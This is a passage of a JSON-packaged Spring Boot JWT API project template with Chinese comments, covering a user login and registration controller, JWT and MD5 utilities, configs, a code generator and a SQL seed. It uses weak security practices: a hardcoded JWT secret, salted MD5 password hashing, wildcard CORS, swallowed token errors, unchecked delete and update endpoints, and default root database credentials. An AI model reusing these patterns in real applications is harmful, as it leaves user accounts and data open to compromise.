registry.addMapping(\"/**\")\n                .allowedHeaders(\"*\")\n                .allowedMethods(\"POST\",\"GET\")\n                .allowedOrigins(\"*\");\n    }\n\n    //添加拦截器\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(loginInterceptor())\n                .excludePathPatterns(\"/doc.html\")\n                .excludePathPatterns(\"/swagger-resources/**\")\n                .excludePathPatterns(\"/error\")\n                .excludePathPatterns(\"/webjars/**\")\n                .excludePathPatterns(\"/api/user/login\")\n                .excludePathPatterns(\"/api/user/register\")\n                .addPathPatterns(\"/**\");\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        response.setStatus(200);\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     *\n     * @param registry\n     */\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/**\").addResourceLocations(\n                \"classpath:/static/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\n                \"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\n                \"classpath:/META-INF/resources/webjars/\");\n        super.addResourceHandlers(registry);\n    }\n\n\n    /**\n     * 配置servlet处理\n     */\n    @Override\n    public void configureDefaultServletHandling(\n            DefaultServletHandlerConfigurer configurer) {\n        configurer.enable();\n    }\n\n\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/core/ApplicationContextUtil.java",
    "content": "package com.company.project.core;\n \nimport org.springframework.beans.BeansException;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.stereotype.Component;\n \n/**\n * @className: ApplicationContextUtil\n * @Description: 解决定时任务获取不到service的问题\n * @Author moneylee\n * @Date 2019-05-11 14:28\n * @Version 1.0\n **/\n@Component\npublic class ApplicationContextUtil implements ApplicationContextAware {\n \n    private static ApplicationContext applicationContext;\n \n    public static ApplicationContext getApplicationContext() {\n        return applicationContext;\n    }\n \n \n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        ApplicationContextUtil.applicationContext = applicationContext;\n \n    }\n \n    public static Object getBean(String beanName) {\n        return applicationContext.getBean(beanName);\n    }\n \n}"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/core/Result.java",
    "content": "package com.company.project.core;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * 统一API响应结果封装\n */\npublic class Result<T> {\n    private int code;\n    private String message;\n    private T data;\n    private Boolean success;\n\n    public Result setCode(ResultCode resultCode) {\n        this.code = resultCode.code();\n        return this;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public Result setMessage(String message) {\n        this.message = message;\n        return this;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public Result setData(T data) {\n        this.data = data;\n        return this;\n    }\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n    @Override\n    public String toString() {\n        return JSON.toJSONString(this);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/core/ResultCode.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应码枚举，参考HTTP状态码的语义\n */\npublic enum ResultCode {\n    SUCCESS(200),//成功\n    FAIL(400),//失败\n    UNAUTHORIZED(401),//未认证（签名错误）\n    NOT_FOUND(404),//接口不存在\n    INTERNAL_SERVER_ERROR(500),//服务器内部错误\n    PARAM_FAIL(10001);//参数异常\n\n    private final int code;\n\n    ResultCode(int code) {\n        this.code = code;\n    }\n\n    public int code() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/core/ResultGenerator.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应结果生成工具\n */\npublic class ResultGenerator {\n    private static final String DEFAULT_SUCCESS_MESSAGE = \"SUCCESS\";\n\n    public static Result genSuccessResult() {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE);\n    }\n\n    public static <T> Result<T> genSuccessResult(T data) {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE)\n                .setData(data);\n    }\n\n    public static Result genFailResult(String message) {\n        return new Result()\n                .setSuccess(false)\n                .setCode(ResultCode.FAIL)\n                .setMessage(message);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/core/ServiceException.java",
    "content": "package com.company.project.core;\n\n/**\n * 服务（业务）异常如“ 账号或密码错误 ”，该异常只做INFO级别的日志记录 @see WebMvcConfigurer\n */\npublic class ServiceException extends RuntimeException {\n    public ServiceException() {\n    }\n\n    public ServiceException(String message) {\n        super(message);\n    }\n\n    public ServiceException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/dao/UserMapper.java",
    "content": "package com.company.project.dao;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/model/User.java",
    "content": "package com.company.project.model;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableLogic;\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    /**\n     * 用户名\n     */\n    @NotEmpty(message = \"用户名不能为空！\")\n    private String username;\n\n    /**\n     * 密码\n     */\n    @NotEmpty(message = \"密码不能为空！\")\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickName;\n\n    /**\n     * 性别\n     */\n    private Integer sex;\n\n    /**\n     * 创建时间\n     */\n    private Date createDate;\n\n    /**\n     * 创建人\n     */\n    private Integer createUser;\n\n    /**\n     * 修改时间\n     */\n    private Date updateDate;\n\n    /**\n     * 修改人\n     */\n    private Integer updateUser;\n\n    /**\n     * 删除标志0未删 1删除\n     */\n    @TableLogic\n    private Integer delFlag;\n\n    /**\n     * 登陆返回token\n     */\n    @TableField(exist = false)\n    private String token;\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/service/IUserService.java",
    "content": "package com.company.project.service;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface IUserService extends IService<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/service/impl/UserServiceImpl.java",
    "content": "package com.company.project.service.impl;\n\nimport com.company.project.model.User;\nimport com.company.project.dao.UserMapper;\nimport com.company.project.service.IUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n *  服务实现类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/utils/JwtUtils.java",
    "content": "package com.company.project.utils;\n\nimport com.company.project.model.User;\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Date;\n\n/**\n * jwt工具类\n */\npublic class JwtUtils {\n\n    public static final String USER_ID_KEY = \"user_id_key\";\n\n    public static final String USER_ACCOUNT_KEY = \"user_account_key\";\n\n\n    public static final String SUBJECT = \"onehee\";\n\n    public static final long EXPIRE = 1000*60*60*24*7;  //过期时间，毫秒，一周\n\n    //秘钥\n    public static final  String APPSECRET = \"onehee666\";\n\n    /**\n     * 生成jwt\n     * @param user\n     * @return\n     */\n    public static String geneJsonWebToken(User user){\n\n        String token = Jwts.builder().setSubject(SUBJECT)\n                .claim(\"id\",user.getId())\n                .claim(\"userName\",user.getUsername())\n                .setIssuedAt(new Date())\n                .setExpiration(new Date(System.currentTimeMillis()+EXPIRE))\n                .signWith(SignatureAlgorithm.HS256,APPSECRET).compact();\n\n        return token;\n    }\n\n\n    /**\n     * 校验token\n     * @param token\n     * @return\n     */\n    public static Claims checkJWT(String token ){\n\n        try{\n            final Claims claims =  Jwts.parser().setSigningKey(APPSECRET).\n                    parseClaimsJws(token).getBody();\n            return  claims;\n\n        }catch (Exception e){ }\n        return null;\n\n    }\n\n\n    /**\n     * 判断当前登陆用户是不是admin\n     * @param request\n     * @return\n     */\n    public static boolean isAdmin(HttpServletRequest request) {\n        if (request.getAttribute(USER_ACCOUNT_KEY) == null) {\n            return false;\n        }\n        if (\"admin\".equals(request.getAttribute(USER_ACCOUNT_KEY).toString())){\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n\n\n}"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/utils/MD5Utils.java",
    "content": "package com.company.project.utils;\n\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MD5Utils {\n\n\tprivate static String salt = \"springboot_api\";\n\t\n\t/**\n\t * 加密字符串\n\t * @param password 要加密的明文\n\t * @param isAddSalt 是否加默认盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, boolean isAddSalt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\tif (isAddSalt){\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t\t} else {\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password));\n\t\t\t}\n\t\t}\n\t\treturn null;\t\t\n\t}\n\t\n\t/**\n\t * \n\t * @param bytes\n\t * @return\n\t */\n\tpublic static String Encrypt(byte[] bytes){\n\t\tif (ArrayUtils.isNotEmpty(bytes)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(bytes));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * MD5加盐加密\n\t * @param password 要加密的明文\n\t * @param salt 盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, String salt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t}\n\t\treturn null;\t\t\t\n\t}\n\t\n\tpublic static void main(String[] args){\n\t\tSystem.out.println(MD5Utils.Encrypt(\"admin\", true));\n\t}\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/web/UserController.java",
    "content": "package com.company.project.web;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.utils.JwtUtils;\nimport com.company.project.utils.MD5Utils;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport com.company.project.service.IUserService;\nimport com.company.project.model.User;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\nimport javax.validation.Valid;\n\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * <p>\n *  前端控制器\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/user\")\npublic class UserController {\n\n    @Resource\n    private IUserService userService;\n\n    @ApiOperation(\"登陆\")\n    @PostMapping(\"/login\")\n    public Result login(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n        if (!MD5Utils.Encrypt(user.getPassword(),true).equals(userO.getPassword())) {\n            return ResultGenerator.genFailResult(\"密码错误\");\n        }\n        String token = JwtUtils.geneJsonWebToken(user);\n        user.setToken(token);\n        user.setPassword(\"\");\n        return ResultGenerator.genSuccessResult(user);\n    }\n\n    @ApiOperation(\"注册\")\n    @PostMapping(\"/register\")\n    public Result register(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO != null) {\n            return ResultGenerator.genFailResult(\"账号已存在\");\n        }\n        user.setPassword(MD5Utils.Encrypt(user.getPassword(),true));\n        userService.save(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        userService.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody User user){\n        //密码不更新\n        user.setPassword(null);\n        userService.updateById(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam(defaultValue = \"1\") Integer currentPage,\n                                   @RequestParam(defaultValue = \"10\") Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<User> iPage = userService.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(userService.getById(id));\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  datasource:\n    dynamic:\n      primary: master #设置默认的数据源或者数据源组,默认值即为master\n      datasource:\n        master:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_1:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3307/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_2:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3308/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        #......省略\n        #以上会配置一个默认库master，一个组slave下有两个子库slave_1,slave_2\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 1\n      logic-not-delete-value: 0\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/resources/application-prod.yml",
    "content": "# 生产环境配置\nknife4j:\n  production: true #生成环境禁用查看接口文档\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/resources/application-test.yml",
    "content": "# 测试环境配置\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/resources/application.yml",
    "content": "spring:\n  profiles:\n    active: dev\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: Springboot-api\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\nserver:\n  port: 8080\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/resources/banner.txt",
    "content": "////////////////////////////////////////////////////////////////////\n//                          _ooOoo_                               //\n//                         o8888888o                              //\n//                         88\" . \"88                              //\n//                         (| ^_^ |)                              //\n//                         O\\  =  /O                              //\n//                      ____/`---'\\____                           //\n//                    .'  \\\\|     |//  `.                         //\n//                   /  \\\\|||  :  |||//  \\                        //\n//                  /  _||||| -:- |||||-  \\                       //\n//                  |   | \\\\\\  -  /// |   |                       //\n//                  | \\_|  ''\\---/''  |   |                       //\n//                  \\  .-\\__  `-`  ___/-. /                       //\n//                ___`. .'  /--.--\\  `. . ___                     //\n//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n//            \\  \\ `-.   \\_ __\\ /__ _/   .-` /  /                 //\n//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n//                           `=---='                              //\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //\n//            佛祖保佑       永不宕机     永无BUG                    //\n////////////////////////////////////////////////////////////////////"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.company.project.dao.UserMapper\">\n\n        <!-- 通用查询映射结果 -->\n        <resultMap id=\"BaseResultMap\" type=\"com.company.project.model.User\">\n                    <id column=\"id\" property=\"id\"/>\n                    <result column=\"username\" property=\"username\"/>\n                    <result column=\"password\" property=\"password\"/>\n                    <result column=\"nick_name\" property=\"nickName\"/>\n                    <result column=\"sex\" property=\"sex\"/>\n                    <result column=\"create_date\" property=\"createDate\"/>\n                    <result column=\"create_user\" property=\"createUser\"/>\n                    <result column=\"update_date\" property=\"updateDate\"/>\n                    <result column=\"update_user\" property=\"updateUser\"/>\n                    <result column=\"del_flag\" property=\"delFlag\"/>\n        </resultMap>\n\n        <!-- 通用查询结果列 -->\n        <sql id=\"Base_Column_List\">\n            id, username, password, nick_name, sex, create_date, create_user, update_date, update_user, del_flag\n        </sql>\n\n</mapper>"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"user_copy\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");\n        gc.setAuthor(\"aitangbao\");\n        gc.setOpen(false);\n        gc.setBaseColumnList(true);\n        gc.setBaseResultMap(true);\n        gc.setDateType(DateType.ONLY_DATE);\n        // gc.setSwagger2(true); 实体属性 Swagger2 注解\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=UTC\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        PackageConfig pc = new PackageConfig();\n        pc.setParent(\"com.company.project\");\n        pc.setEntity(\"model\");\n        pc.setMapper(\"dao\");\n        pc.setController(\"web\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n        // String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！\n                return projectPath + \"/src/main/resources/mapper/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        //指定自定义模板路径，注意不要带上.ftl/.vm, 会根据使用的模板引擎自动识别\n//         templateConfig.setEntity(\"templates/entity.java\");\n        // templateConfig.setService();\n         templateConfig.setController(\"templates/controller.java\");\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n//        strategy.setSuperEntityClass(\"你自己的父类实体,没有就不用设置!\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        // 公共父类\n//        strategy.setSuperControllerClass(\"你自己的父类控制器,没有就不用设置!\");\n        // 写于父类中的公共字段\n//        strategy.setSuperEntityColumns(\"id\");\n        strategy.setInclude(tableName.split(\",\"));\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setLogicDeleteFieldName(logicDeleteFieldName); // 逻辑删除字段名称\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/test/java/com/company/project/Tester.java",
    "content": "package com.company.project;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * 单元测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class Tester {\n\n    @Test\n    public void test() {\n\n    }\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/test/resources/templates/controller.java.ftl",
    "content": "package ${package.Controller};\n\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport ${package.Service}.${table.serviceName};\nimport ${package.Entity}.${entity};\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\n<#if restControllerStyle>\nimport org.springframework.web.bind.annotation.RestController;\n<#else>\nimport org.springframework.stereotype.Controller;\n</#if>\n<#if superControllerClassPackage??>\nimport ${superControllerClassPackage};\n</#if>\n\n/**\n * <p>\n * ${table.comment!} 前端控制器\n * </p>\n *\n * @author ${author}\n * @since ${date}\n */\n<#if restControllerStyle>\n@Api(tags = {\"${table.comment!}\"})\n@Slf4j\n@RestController\n<#else>\n@Controller\n</#if>\n@RequestMapping(\"<#if package.ModuleName??>/${package.ModuleName}</#if>/<#if controllerMappingHyphenStyle??>${controllerMappingHyphen}<#else>${table.entityPath}</#if>\")\n<#if kotlin>\nclass ${table.controllerName}<#if superControllerClass??>:${superControllerClass}()</#if>\n<#else>\n<#if superControllerClass??>public class ${table.controllerName} extends ${superControllerClass}{\n<#else>public class ${table.controllerName} {\n</#if>\n\n    @Resource\n    private ${table.serviceName} ${(table.serviceName?substring(1))?uncap_first};\n\n\n    @ApiOperation(value = \"新增${table.comment!}\")\n    @PostMapping(\"add\")\n    public Result add(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.save(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除${table.comment!}\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        ${(table.serviceName?substring(1))?uncap_first}.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新${table.comment!}\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.updateById(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询${table.comment!}分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam Integer currentPage,\n                                   @RequestParam Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<${entity}> iPage = ${(table.serviceName?substring(1))?uncap_first}.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询${table.comment!}\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(${(table.serviceName?substring(1))?uncap_first}.getById(id));\n    }\n\n}\n</#if>"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/test/resources/user.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : localhost\n Source Server Type    : MySQL\n Source Server Version : 50529\n Source Host           : localhost:3306\n Source Schema         : project\n\n Target Server Type    : MySQL\n Target Server Version : 50529\n File Encoding         : 65001\n\n Date: 08/01/2020 15:53:02\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user`  (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '用户名',\n  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '密码',\n  `nick_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '昵称',\n  `sex` int(1) NULL DEFAULT NULL COMMENT '性别',\n  `create_date` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `create_user` int(11) NULL DEFAULT NULL COMMENT '创建人',\n  `update_date` datetime NULL DEFAULT NULL COMMENT '修改时间',\n  `update_user` int(11) NULL DEFAULT NULL COMMENT '修改人',\n  `del_flag` int(1) NULL DEFAULT 0 COMMENT '删除标志0未删 1删除',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;\n\n-- ----------------------------\n-- Records of user\n-- ----------------------------\nINSERT INTO `user` VALUES (1, 'admin', '9dc818b4bca3baa7d230fbf96c919638', '土豆', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (2, '2@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-2', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (3, '3@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-3', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (4, '4@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-4', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (5, '5@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-5', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO 